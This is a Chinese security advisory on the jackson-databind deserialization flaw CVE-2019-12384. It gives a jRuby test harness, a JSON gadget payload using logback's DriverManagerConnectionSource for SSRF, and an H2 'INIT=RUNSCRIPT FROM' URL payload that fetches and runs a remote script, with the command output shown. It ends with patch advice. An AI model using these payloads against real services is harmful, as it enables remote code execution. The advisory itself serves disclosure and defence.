FasterXML Jackson-databind远程命令执行漏洞预警
时间:2019-10-17 13:48:14来源:信息安全服务部作者:开yun体育官网入口
FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具,而jackson-databind是其中一个具有数据绑定功能的组件。
严重程度:高
CVE编号:CVE-2019-12384
影响版本:fasterxml:jackson-databind 2.0.0-2.9.9
漏洞危害
jackson-databind 2.9.9.1之前的2.x版本中存在代码问题漏洞,攻击者可利用该漏洞执行代码或造成其他危害。
漏洞详情
漏洞要求:
(1)应用程序接受由不受信任的客户端发送的JSON内容。
(2)应用程序对名称类型为java.lang.Object的属性(或少量“许可”标记接口之一,如 java.util.Serializable,java.util.Comparable)使用多态类型处理。
(3)应用程序至少有一个特定的gadget可以在Java类路径中使用。
漏洞复现:
当Jackson进行反序列化时,使用ch.qos.logback.core.db.DriverManagerConnectionSource此类来进行JDBC连接。JDBC是用于连接和执行数据库查询的Java API,它是JavaSE(Java标准版)的一部分。此外,JDBC使用自动字符串到类映射,因此它是在链中加载和执行更多“gadgets”的完美目标。
为了演示攻击,我们准备了一个包装器,我们在其中加载由攻击者指定的任意多态类。对于环境,我们使用了jRuby,这是一个运行在Java虚拟机(JVM)之上的ruby实现。通过集成在JVM之上,我们可以轻松地加载和实例化Java类。
我们将使用此设置在给定目录中轻松加载Java类,并准备Jackson环境以满足上面列出的前两个要求(1,2)。为此,我们实现了以下jRuby脚本。
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
content = ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class)
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)
该脚本如下:
在第2行,它加载“classpath”子目录中Java Archives(JAR)中包含的所有类。
在第5行和第13行之间,它配置Jackson来满足要求(#2)。
在第14行和第17行之间,它将传递给jRuby的多态Jackson对象反序列化并序列化为JSON。
需要将以下的库放在“classpath”目录下:
jackson-databind-2.9.8
jackson-annotations-2.9.8
jackson-core-2.9.8
logback-core-1.3.0-alpha4
h2-1.4.199
应该注意,h2库不需要执行SSRF,因为我们的经验表明大多数时候Java应用程序加载至少一个JDBC驱动程序。
JDBC驱动程序是一种类,当传入JDBC URL时,它们会自动实例化,并将完整的URL作为参数传递给它们。
使用以下命令,我们将使用上述类路径调用上一个脚本。
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://localhost:8080/~/test\"}]"
SSRF验证:
RCE验证:
为了在应用程序的上下文中获得完整的代码执行,我们采用了加载H2 JDBC驱动程序的功能。H2是一个超快的SQL数据库,通常用于完整的SQL数据库管理系统(如Postgresql,MSSql,MySql或OracleDB)的内存替换。它很容易配置,它实际上支持许多模式,如内存,文件和远程服务器。H2具有从JDBC URL运行SQL脚本的能力,该URL是为了拥有支持init 迁移的内存数据库而添加的 。仅这一点就不允许攻击者在JVM上下文中实际执行Java代码。但是H2,因为它是在JVM中实现的,能够指定包含java代码的自定义别名。这是我们可以滥用来执行任意代码的内容。
我们创建一个inject.sql文件,并提供在本地提供一个http服务器用于下载它。可以使用python来快速搭建。
python -m SimpleHttpServer 8000
inject.sql文件内容:
执行命令:
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
查看exploited.txt文件:
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
修复建议
1. 将Jackson升级到最新版本。
2.官方已经给出补丁,及时更新补丁程序。
链接:
https://github.com/FasterXML/jackson-databind/commit/c9ef4a10d6f6633cf470d6a469514b68fa2be234